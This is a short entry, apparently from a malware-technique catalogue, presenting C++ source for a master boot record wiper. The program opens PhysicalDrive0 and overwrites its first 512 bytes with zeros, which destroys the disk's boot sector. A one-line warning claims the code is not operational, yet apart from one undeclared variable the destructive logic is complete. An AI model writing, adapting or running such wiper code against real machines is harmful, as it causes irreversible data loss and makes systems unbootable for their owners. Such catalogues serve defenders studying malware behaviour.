
(C++) Wiping or Encrypting by Unprotect
Sept. 29, 2020, midnight | 1 year, 9 months
Description:
Warning: the code below is a simple MBR wiper. It is currently not operational for obvious reasons.
Code
#include <Windows.h>
#include <iostream>
#include <ctime>
#include <stdio.h>
#define MBR_SIZE 512
using namespace std;
int WipeMBR(void) {
char dmbr[MBR_SIZE];
ZeroMemory(&dmbr, sizeof(dmbr));
HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
WriteFile(disk, dmbr, MBR_SIZE, &write, NULL);
CloseHandle(disk);
return 0;
}
int main() {
cout << "Start Wiping" << endl;
WipeMBR();
return 0;
}